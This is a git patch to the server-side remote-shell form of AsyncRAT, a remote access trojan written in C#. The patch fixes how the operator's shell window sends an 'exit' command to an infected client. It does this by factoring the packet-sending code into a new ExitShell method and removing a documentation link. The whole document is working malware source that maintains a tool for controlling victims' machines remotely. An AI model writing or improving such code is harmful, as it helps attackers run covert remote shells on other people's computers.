From 4d7b6994a6c543301edd83db05d867a234afbb00 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Sat, 31 Aug 2019 06:33:55 +0300 Subject: [PATCH] Update FormShell.cs fixed exit command --- AsyncRAT-C#/Server/Forms/FormShell.cs | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/AsyncRAT-C#/Server/Forms/FormShell.cs b/AsyncRAT-C#/Server/Forms/FormShell.cs index a4fd079..cc3023a 100644 --- a/AsyncRAT-C#/Server/Forms/FormShell.cs +++ b/AsyncRAT-C#/Server/Forms/FormShell.cs @@ -36,6 +36,7 @@ namespace Server.Forms } if (textBox1.Text == "exit".ToLower()) { + ExitShell(); this.Close(); } MsgPack msgpack = new MsgPack(); @@ -48,10 +49,8 @@ namespace Server.Forms private void FormShell_FormClosed(object sender, FormClosedEventArgs e) { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "shellWriteInput"; - msgpack.ForcePathObject("WriteInput").AsString = "exit"; - ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + ExitShell(); + } private void Timer1_Tick(object sender, EventArgs e) @@ -63,9 +62,12 @@ namespace Server.Forms catch { this.Close(); } } - private void Label1_Click(object sender, EventArgs e) + private void ExitShell() { - Process.Start("https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands"); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "shellWriteInput"; + msgpack.ForcePathObject("WriteInput").AsString = "exit"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } }